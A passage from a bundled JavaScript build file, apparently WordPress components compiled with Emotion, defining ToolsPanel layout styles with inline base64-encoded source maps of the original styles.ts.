2UtY29udHJvbC9zdHlsZXMvYmFzZS1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5cbmNvbnN0IHRvb2xzUGFuZWxHcmlkID0ge1xuXHRjb2x1bW5zOiAoIGNvbHVtbnM6IG51bWJlciApID0+IGNzc2Bcblx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IGByZXBlYXQoICR7IGNvbHVtbnMgfSwgbWlubWF4KDAsIDFmcikgKWAgfTtcblx0YCxcblx0c3BhY2luZzogY3NzYFxuXHRcdGNvbHVtbi1nYXA6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRyb3ctZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdGAsXG5cdGl0ZW06IHtcblx0XHRmdWxsV2lkdGg6IGNzc2Bcblx0XHRcdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cdFx0YCxcblx0fSxcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsID0gKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdCR7IHRvb2xzUGFuZWxHcmlkLmNvbHVtbnMoIGNvbHVtbnMgKSB9XG5cdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXG5cdGJvcmRlci10b3A6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy5ncmF5WyAzMDAgXSB9O1xuXHRtYXJnaW4tdG9wOiAtMXB4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG4vKipcbiAqIEl0ZW1zIGluamVjdGVkIGludG8gYSBUb29sc1BhbmVsIHZpYSBhIHZpcnR1YWwgYnViYmxpbmcgc2xvdCB3aWxsIHJlcXVpcmVcbiAqIGFuIGlubmVyIGRvbSBlbGVtZW50IHRvIGJlIGluamVjdGVkLiBUaGUgZm9sbG93aW5nIHJ1bGUgYWxsb3dzIGZvciB0aGVcbiAqIENTUyBncmlkIGRpc3BsYXkgdG8gYmUgcmUtZXN0YWJsaXNoZWQuXG4gKi9cblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxXaXRoSW5uZXJXcmFwcGVyID0gKCBjb2x1bW5zOiBudW1iZXIgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0PiBkaXY6bm90KCA6Zmlyc3Qtb2YtdHlwZSApIHtcblx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuc3BhY2luZyB9XG5cdFx0XHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxIaWRkZW5Jbm5lcldyYXBwZXIgPSBjc3NgXG5cdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxIZWFkZXIgPSBjc3NgXG5cdCR7IHRvb2xzUGFuZWxHcmlkLml0ZW0uZnVsbFdpZHRoIH1cblx0Z2FwOiAkeyBzcGFjZSggMiApIH07XG5cblx0LyoqXG5cdCAqIFRoZSB0YXJnZXRpbmcgb2YgZHJvcGRvd24gbWVudSBjb21wb25lbnQgY2xhc3NlcyBoZXJlIGlzIGEgdGVtcG9yYXJ5XG5cdCAqIG1lYXN1cmUgb25seS5cblx0ICpcblx0ICogVGhlIGZvbGxvd2luZyBzdHlsZXMgc2hvdWxkIGJlIHJlcGxhY2VkIG9uY2UgdGhlIERyb3Bkb3duTWVudSBoYXMgYmVlblxuXHQgKiByZWZhY3RvcmVkIGFuZCBjYW4gYmUgdGFyZ2V0ZWQgdmlhIGNvbXBvbmVudCBpbnRlcnBvbGF0aW9uLlxuXHQgKi9cblx0LmNvbXBvbmVudHMtZHJvcGRvd24tbWVudSB7XG5cdFx0bWFyZ2luOiAkeyBzcGFjZSggLTEgKSB9IDA7XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdH1cblx0JiYmJiAuY29tcG9uZW50cy1kcm9wZG93bi1tZW51X190b2dnbGUge1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGluZyA9IGNzc2Bcblx0Zm9udC1zaXplOiBpbmhlcml0O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHRNZWRpdW0gfTtcblx0bGluZS1oZWlnaHQ6IG5vcm1hbDtcblxuXHQvKiBSZXF1aXJlZCB0byBtZWV0IHNwZWNpZmljaXR5IHJlcXVpcmVtZW50cyB0byBlbnN1cmUgemVybyBtYXJnaW4gKi9cblx0JiYge1xuXHRcdG1hcmdpbjogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxJdGVtID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cblx0LyogQ2xlYXIgc3BhY2luZyBpbiBhbmQgYXJvdW5kIGNvbnRyb2xzIGFkZGVkIGFzIHBhbmVsIGl0ZW1zLiAqL1xuXHQvKiBSZW1vdmUgd2hlbiB0aGV5IGNhbiBiZSBhZGRyZXNzZWQgdmlhIGNvbnRleHQgc3lzdGVtLiAqL1xuXHQmID4gZGl2LFxuXHQmID4gZmllbGRzZXQge1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHR9XG5cblx0LyogUmVtb3ZlIEJhc2VDb250cm9sIGNvbXBvbmVudHMgbWFyZ2lucyBhbmQgbGVhdmUgc3BhY2luZyB0byBncmlkIGxheW91dCAqL1xuXHQmJiAkeyBCYXNlQ29udHJvbFdyYXBwZXIgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblxuXHRcdC8qKlxuXHRcdCAqIFRvIG1haW50YWluIHByb3BlciBzcGFjaW5nIHdpdGhpbiBhIGJhc2UgY29udHJvbCwgdGhlIGZpZWxkJ3MgYm90dG9tXG5cdFx0ICogbWFyZ2luIHNob3VsZCBvbmx5IGJlIHJlbW92ZWQgd2hlbiB0aGVyZSBpcyBubyBoZWxwIHRleHQgaW5jbHVkZWQgYW5kXG5cdFx0ICogaXQgaXMgdGhlcmVmb3JlIHRoZSBsYXN0LWNoaWxkLlxuXHRcdCAqL1xuXHRcdCR7IEJhc2VDb250cm9sRmllbGQgfTpsYXN0LWNoaWxkIHtcblx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0fVxuXHR9XG5cblx0JHsgQmFzZUNvbnRyb2xIZWxwIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbVBsYWNlaG9sZGVyID0gY3NzYFxuXHRkaXNwbGF5OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IERyb3Bkb3duTWVudSA9IGNzc2Bcblx0bWluLXdpZHRoOiAyMDBweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBSZXNldExhYmVsID0gc3R5bGVkLnNwYW5gXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50RGFya2VyMTAgfTtcblx0Zm9udC1zaXplOiAxMXB4O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHRNZWRpdW0gfTtcblx0bGluZS1oZWlnaHQ6IDEuNDtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IHNwYWNlKCAzICkgfSApIH1cblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEZWZhdWx0Q29udHJvbHNJdGVtID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cblx0JiZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDcwMCBdIH07XG5cdFx0b3BhY2l0eTogMTtcblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdH1cblxuXHRcdCR7IFJlc2V0TGFiZWwgfSB7XG5cdFx0XHRvcGFjaXR5OiAwLjM7XG5cdFx0fVxuXHR9XG5gO1xuIl19 */");
48743 };
48744 var ToolsPanelHiddenInnerWrapper = false ? {
48745 name: "huufmu",
48746 styles: ">div:not( :first-of-type ){display:none;}"
48747 } : {
48748 name: "1vvi63i-ToolsPanelHiddenInnerWrapper",
48749 styles: ">div:not( :first-of-type ){display:none;};label:ToolsPanelHiddenInnerWrapper;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwRCtDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */",
48750 toString: _EMOTION_STRINGIFIED_CSS_ERROR__39
48751 };
48752 var ToolsPanelHeader = /* @__PURE__ */ css(toolsPanelGrid.item.fullWidth, " gap:", space(2), ";.components-dropdown-menu{margin:", space(-1), " 0;line-height:0;}&&&& .components-dropdown-menu__toggle{padding:0;min-width:", space(6), ";}" + (false ? "" : ";label:ToolsPanelHeader;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnRW1DIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9